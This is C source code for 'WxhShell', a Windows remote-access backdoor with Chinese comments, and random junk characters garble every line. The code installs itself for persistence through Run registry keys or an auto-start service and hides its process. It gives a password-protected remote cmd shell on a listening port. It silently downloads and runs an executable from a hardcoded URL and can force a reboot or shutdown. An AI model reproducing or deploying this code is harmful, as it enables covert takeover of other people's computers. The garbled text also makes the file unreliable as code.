Gkb[H&RZ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %<1_\N7 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g6@^n$Y NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $U'*}S 8peK[sz if (!NtQueryInformationProcess) return 0; ZQyX zERp 7)BK&kpVr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "Mh}n-oju if(!hProcess) return 0; mcWN. NW`Mc& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IO"q4(&;P4 ,vB nr_D# CloseHandle(hProcess); k)agbx ;".]W;I*O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }x:}9iphF if(hProcess==NULL) return 0; ?>mpUH J"fv5{ HMODULE hMod; j3fq}>= char procName[255]; !!6g<S7) unsigned long cbNeeded; < fYcON D 1(9/;9 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [6%y RQ_ G#3$sz CloseHandle(hProcess); +<3e@s& Er|j\(jM if(strstr(procName,"services")) return 1; // 以服务启动 EE*FvI` c@$W]o"A return 0; // 注册表启动 yJ!,>OQ%' } bLO^5` 6 NZ-57Ji // 主模块 2,p= % int StartWxhshell(LPSTR lpCmdLine) 70Ei< { fwSI"cfM SOCKET wsl; d6A+pa'2 BOOL val=TRUE; a lyA#zao| int port=0; MpJ]1 struct sockaddr_in door; /p)y!5e E#\'$@8j if(wscfg.ws_autoins) Install(); FB
O_B rji<g>GQ port=atoi(lpCmdLine); o:@A% *jg v&xhS
yZ if(port<=0) port=wscfg.ws_port; T/q*k)IoR nz Klue WSADATA data; UbP$WIrq if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o'ZW BUXlHh%<R if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; L]=LY setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M2M&L,/O door.sin_family = AF_INET; sX(rJLbD door.sin_addr.s_addr = inet_addr("127.0.0.1"); c/,B ? door.sin_port = htons(port); Gk)6ljL IDp2#qg_ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ($[@'?Z1 closesocket(wsl); `'ak/%Krh return 1; >"D0vj } ;eP.B/N sfC/Q"Zs if(listen(wsl,2) == INVALID_SOCKET) { |q 0iX2W closesocket(wsl); oi%IHX(` return 1; ":L d}~> } n&FRjq9y Wxhshell(wsl); \m+;^_;5GW WSACleanup(); mnM$#%q;% +\Je
B/F return 0; $lF\FC lv&y<d; } 3_Mynop l6T5]$ // 以NT服务方式启动 {Yv5Z.L&( VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |@dY[VK> { l6-%)6u> DWORD status = 0; /?:q9Wy DWORD specificError = 0xfffffff; OZno 3Hn <#e!kWGR? serviceStatus.dwServiceType = SERVICE_WIN32; -aIB_ serviceStatus.dwCurrentState = SERVICE_START_PENDING; vVH*\&H\T serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z?(QM: serviceStatus.dwWin32ExitCode = 0; !p3vnOX6 serviceStatus.dwServiceSpecificExitCode = 0; )IGx3+I
, serviceStatus.dwCheckPoint = 0; Ce_l\J8G serviceStatus.dwWaitHint = 0; Pol
c. ;})so hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u=sZFr@m[ if (hServiceStatusHandle==0) return; ,/..f!bp +qmV|$rmM status = GetLastError(); \_|r>vQ if (status!=NO_ERROR) >>0c)uC|W { ^vo]bq7 serviceStatus.dwCurrentState = SERVICE_STOPPED; |3 v+&eVi serviceStatus.dwCheckPoint = 0; DZV U!J serviceStatus.dwWaitHint = 0; eed!SmP serviceStatus.dwWin32ExitCode = status; \yY2 mr serviceStatus.dwServiceSpecificExitCode = specificError; \Gy+y` SetServiceStatus(hServiceStatusHandle, &serviceStatus); T :X A return; P6;Cohfh } R TeG\U `6y\.6j serviceStatus.dwCurrentState = SERVICE_RUNNING; ]f3R;d serviceStatus.dwCheckPoint = 0; TRQH{O\O serviceStatus.dwWaitHint = 0; "$|ne[b2 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /7Ft1f } iFaC[(1@a aTPmW]w6 // 处理NT服务事件,比如:启动、停止 HH'5kE0;d VOID WINAPI NTServiceHandler(DWORD fdwControl) _u8d`7$*% { ,98`tB0 switch(fdwControl) oOHr~< { Iih]q case SERVICE_CONTROL_STOP: G:{\-R' serviceStatus.dwWin32ExitCode = 0; *\F,?yU serviceStatus.dwCurrentState = SERVICE_STOPPED; X1Y+ao 1) serviceStatus.dwCheckPoint = 0; VseeU;q serviceStatus.dwWaitHint = 0; "6o5x&H { F[==vte| SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^0T[V-PgiD } Y,s@FGI2 return; Zcxj.F(, case SERVICE_CONTROL_PAUSE: 2^=.jML[ serviceStatus.dwCurrentState = SERVICE_PAUSED; Fx' E"d break; a1#
'uS9W case SERVICE_CONTROL_CONTINUE: )>rHM6-W serviceStatus.dwCurrentState = SERVICE_RUNNING; glP
W9q,f break; D``>1IA] case SERVICE_CONTROL_INTERROGATE: J1{ucFa break; {A MoE+U }; \o{rw0w0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); nwPU{4#l< } xzTF| Z\ [49Ae2W` // 标准应用程序主函数 z7um9g int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -[.A6W { 9aZ^m$tAt L\(" // 获取操作系统版本 uQtwh08i OsIsNt=GetOsVer(); 'K|tgsvgme GetModuleFileName(NULL,ExeFile,MAX_PATH); n0CS= My JG2C#R // 从命令行安装 HrS if(strpbrk(lpCmdLine,"iI")) Install(); 088"7 s D!CuE7} // 下载执行文件 qI#ow_lL# if(wscfg.ws_downexe) { /f)
#CR0$ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =
~^
WinExec(wscfg.ws_filenam,SW_HIDE); F_C_K"[s } >@c~ M {kp^@ if(!OsIsNt) { IYk^eG:; // 如果时win9x,隐藏进程并且设置为注册表启动 N_),'2 HideProc(); Jdp@3mP
StartWxhshell(lpCmdLine); AV*eGzz` } yCG<qQz else -C<Ni if(StartFromService()) WYNO6Xb#: // 以服务方式启动 Yl$Cj>FG StartServiceCtrlDispatcher(DispatchTable); ?\$\YX%/p else W:z!fh- // 普通方式启动 -!b@\= StartWxhshell(lpCmdLine); y:3d`E4Xw EU"J'? return 0; 37QXML } eq#x~O4 #\)tz z cXo^.u 'fkaeFzOl =========================================== C#A\Rfi |ZnRr XTOZ]H*^ ST[+k R1=ir# U|D {BlKVsQ " @lnM% ]9}T)Df' #include <stdio.h> U
DC>iHt #include <string.h> 11Hf)]M
#include <windows.h> P.;S6i
n #include <winsock2.h> &RP}w%I1 #include <winsvc.h> f!"Y"g:@E #include <urlmon.h> 4:
<=%d g}]EIv{ #pragma comment (lib, "Ws2_32.lib") X)TUKt #pragma comment (lib, "urlmon.lib") 4Dd7I r
7mg>3 #define MAX_USER 100 // 最大客户端连接数 V^U1o[` #define BUF_SOCK 200 // sock buffer !&Z,ev #define KEY_BUFF 255 // 输入 buffer 96.z\[0VZ 9C{\=?e; #define REBOOT 0 // 重启 pM i w9} #define SHUTDOWN 1 // 关机 8uO@S*)0 M5Twulz/w #define DEF_PORT 5000 // 监听端口 b:iZ.I o,sw[ #define REG_LEN 16 // 注册表键长度 _ x.D< n=X #define SVC_LEN 80 // NT服务名长度 %ycCNS $qx&\@O // 从dll定义API hR$lX8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5w#*JK typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r12{XW?~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4P>tGO&*x typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G D$jP? {xC CUU // wxhshell配置信息 '1}rQq Z struct WSCFG { #dLp<l) int ws_port; // 监听端口 Qn7l-:`? char ws_passstr[REG_LEN]; // 口令 $J |oVVct int ws_autoins; // 安装标记, 1=yes 0=no Ur626} char ws_regname[REG_LEN]; // 注册表键名 G=8w9-Ww char ws_svcname[REG_LEN]; // 服务名 :);]E-ch char ws_svcdisp[SVC_LEN]; // 服务显示名 O^]I>A#d char ws_svcdesc[SVC_LEN]; // 服务描述信息 toipEp<ci char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O8+[)+6^ int ws_downexe; // 下载执行标记, 1=yes 0=no k:4?3zJI char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .'SXRrn&:C char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xX'Uq_Jv kCR)k=* }; ;UgRm# v`hv5wQ // default Wxhshell configuration $p4aNC struct WSCFG wscfg={DEF_PORT, ~^.&nph "xuhuanlingzhe", V=|^r? 1, K.2M=Q "Wxhshell", K]bS:[34 R "Wxhshell", ISr~JQr "WxhShell Service", cLlfncI "Wrsky Windows CmdShell Service", 'KGY;8<x] "Please Input Your Password: ", YF{K9M! 1, AEwb' "http://www.wrsky.com/wxhshell.exe", bIm$7a`T "Wxhshell.exe" ^c]Sl }; vc2xAAQ .Qh8I+Q% // 消息定义模块 `OQ&u char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~,e!t.339 char *msg_ws_prompt="\n\r? for help\n\r#>"; 2al~` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y`Pp"!P"O char *msg_ws_ext="\n\rExit."; ^TWN_(-@ char *msg_ws_end="\n\rQuit."; "|DR"rr'j char *msg_ws_boot="\n\rReboot...";
cM4?Ggn char *msg_ws_poff="\n\rShutdown..."; b=T+#Jb char *msg_ws_down="\n\rSave to "; /^[)JbgB F.8{
H9` char *msg_ws_err="\n\rErr!"; 29ft!R>[ char *msg_ws_ok="\n\rOK!"; Xs?7Whc6 l3MbCBX2 char ExeFile[MAX_PATH]; 0D#!!r ; int nUser = 0; !T,7 HANDLE handles[MAX_USER]; GP1>h.J int OsIsNt; .%wEuqW=0 )dL?B9d: SERVICE_STATUS serviceStatus; xYu~}kMu SERVICE_STATUS_HANDLE hServiceStatusHandle; L)nVNY@Mc 3/rvSR! // 函数声明 |>3a9] int Install(void); L7Oytdc< int Uninstall(void); Bh' vr3| int DownloadFile(char *sURL, SOCKET wsh); g41Lh3dj int Boot(int flag); vWkKNB void HideProc(void); @B9|{[P int GetOsVer(void); yL
Q&<\ int Wxhshell(SOCKET wsl); peqFa._W void TalkWithClient(void *cs); 8]?1gDS|9O int CmdShell(SOCKET sock); ^LU[{HZV int StartFromService(void); jATU b- int StartWxhshell(LPSTR lpCmdLine); J#x91Jh VvF&E>fC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mTP.W#N VOID WINAPI NTServiceHandler( DWORD fdwControl ); fA,+qs 78QFaN$ // 数据结构和表定义 =-VV` SERVICE_TABLE_ENTRY DispatchTable[] = C(0Iv[~y/ { kxn;; {wscfg.ws_svcname, NTServiceMain}, 5nj~RUK {NULL, NULL} =!CuCV7$1O }; BkZ%0rw% Nz}Q"6L // 自我安装 ?@#}%<yEq int Install(void) UUU^YT \ { .4Ny4CMHZ char svExeFile[MAX_PATH]; |fI%L9 HKEY key; wwAT@=X*} strcpy(svExeFile,ExeFile); ;&!dD6N }1W$9\% // 如果是win9x系统,修改注册表设为自启动 XP` kf]9 if(!OsIsNt) { hrL<jcv| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "|G,P-5G" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0/gcSW
b RegCloseKey(key); 6+u'Tcb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~/x42|t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `?@7 KEl> RegCloseKey(key); 4AM*KI return 0; Yq^y"rw } -&EmEXs% } |:#mw1 } 2$o[ else { Fq9[: HxM sH5; // 如果是NT以上系统,安装为系统服务 }gW}Vr < SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u7=[~l&L if (schSCManager!=0) 0|ps), { }m H>lN SC_HANDLE schService = CreateService C#~MR+; ( W*<]`U_. schSCManager, eFio, wscfg.ws_svcname, 1pb;A;F,A wscfg.ws_svcdisp, g,:Nzb SERVICE_ALL_ACCESS, AVr!e
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DOerSh_0W SERVICE_AUTO_START, I5L7BTe SERVICE_ERROR_NORMAL, Ng"vBycy svExeFile, %&Cl@6 NULL, +I <Sq_- NULL, <yS"c5D6 NULL, V</T$V$ NULL, pNlisS NULL pD# "8h ); ElXe=5L\# if (schService!=0) uB1!*S1f { 5gD)2Q6 CloseServiceHandle(schService); (@E#O$' CloseServiceHandle(schSCManager); uC(S`Q[Bg strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3@] a#> strcat(svExeFile,wscfg.ws_svcname); 9@Sb! 9h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l,u{:JC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FA9e(Ha RegCloseKey(key); Yd;r8rN return 0; wWw/1i:|' } f^4*. ~cB } LtztjAm. CloseServiceHandle(schSCManager); r$FM8$cJ } 6wB>-/'Y } j dhml%pAd Noxz kpMF return 1; eH955[fVd4 } ?ev G=S4> +)JqEwCrq // 自我卸载 pMp9O/u% int Uninstall(void) 2U'JzE^Do { j{R|]SjW2H HKEY key; 9!HMQ ^Cn]+0G#C8 if(!OsIsNt) { f_h"gZWV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~e<'t4 RegDeleteValue(key,wscfg.ws_regname); MD4 j~q\g RegCloseKey(key); ""'eTpe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4VJzs$ RegDeleteValue(key,wscfg.ws_regname); L*01l"5 RegCloseKey(key); ,beR:60) return 0; (l8r>V } 0aTbzOn& } qb>r\bc } kqigFcz!Y else { E'S;4B5? a/<pf\O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z!C4>, if (schSCManager!=0) gVA}?t; { N"1x]1' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3b)T}g if (schService!=0) zg Y*|{4Sl { /W$y"!^)J1 if(DeleteService(schService)!=0) { v#%>uLl CloseServiceHandle(schService); *_/eAi/WG CloseServiceHandle(schSCManager); 8pL>wL
&C return 0; m)|.:sj } O4d^ig-xaH CloseServiceHandle(schService); zHoO?tGf } ooU Sb CloseServiceHandle(schSCManager); %{~mk[d3 } w4fJ`, } "o# )vA` />^`*e_ return 1; kYA'PW/[) } oF b mz* l`FR.)2h // 从指定url下载文件 gvc'
$9% int DownloadFile(char *sURL, SOCKET wsh) #!=>muZt { 0]eh>ab> HRESULT hr; OU.9 #|q U char seps[]= "/"; +ersP@G char *token; ??zABV char *file; AY/-j$5+? char myURL[MAX_PATH]; ~0[G/A$] char myFILE[MAX_PATH]; RZ)vU'@kx |+;K hC strcpy(myURL,sURL); Qk~0a?#y5 token=strtok(myURL,seps); kf^-m/ while(token!=NULL) k$0|^GL8 { $E`iqRB file=token; g=oeS%>E token=strtok(NULL,seps); _]=TFz2O } (J^Lqh_ R(/[NvUb GetCurrentDirectory(MAX_PATH,myFILE); iUxDEt[t* strcat(myFILE, "\\"); lN)Y strcat(myFILE, file); y\|-O<8O send(wsh,myFILE,strlen(myFILE),0); >Oi2gPA send(wsh,"...",3,0); C6D=>%uY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ND e[2 if(hr==S_OK) <r7qq$ return 0; k67i`f= else @wEKCn|}o return 1; @;m@Luk m|nL!Wc } qUEd
E`B "9U+h2#] // 系统电源模块 C>JekPeM int Boot(int flag) *3.yumcv{L { 5I)~4.U|,m HANDLE hToken; EDq$vB TOKEN_PRIVILEGES tkp; MAwC\7n+X c#\ah}]Vo if(OsIsNt) { M!&_qj&N, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2<y}91N: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VW{aUgajO tkp.PrivilegeCount = 1; E'&OOEMN- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^Hz AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WIEx
'{ if(flag==REBOOT) { V5e \% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $tDCS return 0; gJ FR1 } Nl=m'4@` else { 3r~>~ueZ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1qm/{>a- return 0; 2d5}`> } Tsm)&$JI8 } SZim>@R else { jy\W_CT if(flag==REBOOT) { + AcKB82 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2y9:'c| return 0; };|!Lhl+ } KAj"p9hq+k else { X[GIOPDx if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L\/u}]dPQ return 0; {\vI9cni|" } jgo e^f } 9]]!8_0=r 8N=%X-R% return 1; t7jh?] } T7>48eH egZyng
pB // win9x进程隐藏模块 ttK,((=@ void HideProc(void) pchQ#GU { $l#v/(uFa tx^92R2/
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V+qFT3?- if ( hKernel != NULL ) ;jRL3gAe) { 2x-'>i_|g pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K(-G: | ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gIV3n#-{L FreeLibrary(hKernel); g8%MOhg } G"G{AS =]=B}L` return; -rEeKt } %iK%$ R<0Fy =z // 获取操作系统版本 D3<IuWeM int GetOsVer(void) E)KB@f<g* { 3x04JE3! OSVERSIONINFO winfo; 8!Wfd)4=,F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |$YyjYK GetVersionEx(&winfo); NzjMk4t if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8B}'\e4i return 1; IkSX\* else ?F!EB4E\y} return 0; ]WTf< W< } v*&Uk'4E ^{),+S // 客户端句柄模块 9uuta4&uI int Wxhshell(SOCKET wsl) Ya~ "R#Uy { Z1VC5*K SOCKET wsh; KjO-0VMN3 struct sockaddr_in client; "4'kb DWORD myID; qIB>6bv#x v2IEJ while(nUser<MAX_USER) IeO-O'^&` { a`DWpc~ int nSize=sizeof(client); +#0~:&!9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ksTzXG8 if(wsh==INVALID_SOCKET) return 1; \s,Iz[0Vfz YkSuwx@5_q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )V=0IZi if(handles[nUser]==0) 3.(.*> closesocket(wsh); |a%B|CX else DYc.to- nUser++;
~q*i;* } DLU[<!C WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b2G2 cL-( k69kv9v@J return 0; ' Q\ @19 } v}Z9+ yRC2 +-U@0&Y3M // 关闭 socket p=2zS. void CloseIt(SOCKET wsh) ]y.Rg{iv { DUqJ y*F( closesocket(wsh); FQ U\0<5 nUser--; pG(Fz0b{ ExitThread(0); AU/#b(mI } HF]EU!OT aQga3;S! // 客户端请求句柄 8}bZ[ void TalkWithClient(void *cs) 2@sr:,\1 { 5qC:yI "2%>M SOCKET wsh=(SOCKET)cs; <3lUV7! char pwd[SVC_LEN]; FW_G\W. char cmd[KEY_BUFF]; CldDr<k3 char chr[1]; >'N!dM.+9 int i,j; '5AvT:
^u
C>4UbU while (nUser < MAX_USER) { V`by*s EA6t36|TX if(wscfg.ws_passstr) { R+d<
fe if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lu]o34 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wDMjk2YN //ZeroMemory(pwd,KEY_BUFF); MA$Xv`6I\ i=0; *o!l/>4g while(i<SVC_LEN) { <~N%W#z/ Q{[@`bZB // 设置超时 La9r fd_set FdRead; F;pQ \Y struct timeval TimeOut; , |l@j% FD_ZERO(&FdRead); e{0L%%2K FD_SET(wsh,&FdRead);
.1LPlZ TimeOut.tv_sec=8; %kq ^]S2O TimeOut.tv_usec=0;
J,(7.+`~# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +RS$5NLH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )km7tA
0a 1M+oTIN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =-Nsc1& pwd=chr[0]; =e{.yggE if(chr[0]==0xd || chr[0]==0xa) { qU -!7=}7 pwd=0; ;%WdvnW break; vOe0}cR } iX%n0i i++; Tm_8<$ 7 } m6i%DE )|MJnx9 // 如果是非法用户,关闭 socket %'0&ElQ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ybE[B}pOeZ } ?mU\
N0o ^)0 9OV+hF send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VoM6 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,9\Snn _*E!gPO while(1) { K&dT(U W#{la`#Bu ZeroMemory(cmd,KEY_BUFF); A=X-;N# Y)Tl< // 自动支持客户端 telnet标准 @5E,:)T*wR j=0; '$[Di'*; while(j<KEY_BUFF) { +s~.A_7) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e:E# b~{ cmd[j]=chr[0]; =9$mbn
r if(chr[0]==0xa || chr[0]==0xd) { 2h q>T&8 cmd[j]=0; .S7:;%qL6 break; ,Sg33N? } V!&P(YO: j++; Qxt@V } 3sbK7,4 wkBL=a // 下载文件 !` 26\@1 if(strstr(cmd,"http://")) { _a5(s2wq+ send(wsh,msg_ws_down,strlen(msg_ws_down),0); HnU Et/ if(DownloadFile(cmd,wsh)) "U8S81' send(wsh,msg_ws_err,strlen(msg_ws_err),0); IzUo0D*@ else w4%AJmt send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *7RvHHf } >emcJVYV`[ else { `@XehSQ .'d2J> ~N switch(cmd[0]) { Fo}7hab Lgi[u"Du // 帮助 PJ
q yvbD case '?': { 1mH\k5xu send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CDdkoajBa break; f$F*3 } M_|> kp // 安装 LM"y\q ] case 'i': { DWm SC}{. if(Install()) ?WFh',`: send(wsh,msg_ws_err,strlen(msg_ws_err),0); `hrQw)5?r else `.v(fC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E\ th%q,mG break; ]'h; {;ug } 8)wt$b // 卸载 D7?C case 'r': { >/^#Drwb!i if(Uninstall()) 0LL c 1t>} send(wsh,msg_ws_err,strlen(msg_ws_err),0); .CbGDZ else \#,t O%D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); shgAhx break; =6T
4>rP } ~cqryr9
// 显示 wxhshell 所在路径 ||eAE) case 'p': { i::\Z$L";i char svExeFile[MAX_PATH]; BfmsMW strcpy(svExeFile,"\n\r"); io%')0p5q strcat(svExeFile,ExeFile); -<f;l_( send(wsh,svExeFile,strlen(svExeFile),0); =?
:@ break; B0Xl+JIR# } :}q\tNY< // 重启 ux-CpI case 'b': { )^O-X.1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v:|(8Y if(Boot(REBOOT)) L,]=vba'$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); R,_d1^|*w else { .v\\Tq&"| closesocket(wsh); GWP dv ExitThread(0); R;}22s } +K$NAT break; AuiFbRFi } ,FQK;BU!lh // 关机 K_BPZ5w case 'd': { n$)_9:Z-j send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1np^(['ih if(Boot(SHUTDOWN)) ;LwqTlJ*[L send(wsh,msg_ws_err,strlen(msg_ws_err),0); =
+Xc4a else { nU
z7|y closesocket(wsh); O#kq^C} ExitThread(0); Rf"Mr: ^ } pW?&J>\6 break; pchBvly+0 } !1sU>Xb4J // 获取shell \fLvw case 's': { y'M#z_.z CmdShell(wsh); &tI#T)SSs closesocket(wsh); YJF#)TkF ExitThread(0); V5rp.~ break; kBEmmgL } =y]$0nh // 退出 SZ!=`a] case 'x': { FG-L0X send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
_^t-9 CloseIt(wsh); u<tk G B break; ) g1a'G } b"j|Bb // 离开 @,H9zrjVFZ case 'q': { w~\%vXla send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4FMF|U closesocket(wsh); WE!vSZ3R WSACleanup(); z(HaRB3l exit(1); "HIXm break; #gbH^a' } )mN9(Ob! } .p6+l!" } 15H6:_+=0 X" R<J#4 // 提示信息 -V<t-}h. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6vy7l(% } UVuDQ } Oe]&( JhK/']R return; uQCo6"e } 3`V1XE.; o4^Fo p // shell模块句柄 H#d:kil Ny int CmdShell(SOCKET sock) &<x@1, { h8 @ STARTUPINFO si; 'ktHPn
,K ZeroMemory(&si,sizeof(si)); RuRt0Sd3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d+L#t si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JWO=!^ PROCESS_INFORMATION ProcessInfo; Ka_S n char cmdline[]="cmd"; j6}R7$JR CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c'fSu;1 return 0; rXi uwz\ } @1RP/y% C*70;:b // 自身启动模式 :VA.Q rKW int StartFromService(void) IO$z%r7 { E8}+k o typedef struct ?(zoTxD { 3TuC+'`G DWORD ExitStatus; N+W&NlZ
DWORD PebBaseAddress; ^U7OMl4Usq DWORD AffinityMask; E_ucab-Fi DWORD BasePriority; HL{$ ^l#v ULONG UniqueProcessId; q }C+tn"\ ULONG InheritedFromUniqueProcessId; \>/M .2 } PROCESS_BASIC_INFORMATION; -`c:}m $6>?; PROCNTQSIP NtQueryInformationProcess; tx7~SUr CZ{k@z`r static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xl4=++pu) static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +FFG#6e -7-['fX HANDLE hProcess; VrP}#3I PROCESS_BASIC_INFORMATION pbi; M~
h8Crz =d;Vk HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D vkxI<Xa if(NULL == hInst ) return 0; q`|CrOzO Fw4* g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "kW!{n g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1qdZc_x NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zri}
h/{ PFSLyV* if (!NtQueryInformationProcess) return 0; 7hNb/O004 *=F(KZ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ak:v3cQR if(!hProcess) return 0; '{?C{MK3Q !3&kQpF if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FpV`#6i7 m 40m<@ CloseHandle(hProcess); N"5fmY< CX/(o] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g;p)n if(hProcess==NULL) return 0; =odkz}bU H.
,;- HMODULE hMod; PK6iY7Qp) char procName[255]; ^y.UbI unsigned long cbNeeded; T8J4C=?/ TvhJVVQ+? if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 42) mM# 1hQN8!: < CloseHandle(hProcess); n$+M%}/f H-t|i if(strstr(procName,"services")) return 1; // 以服务启动 {[G`Z9]z&- U5ZX78>a return 0; // 注册表启动 @M;(K<%h } !|{IVm/J V-W'RunnW // 主模块 :>
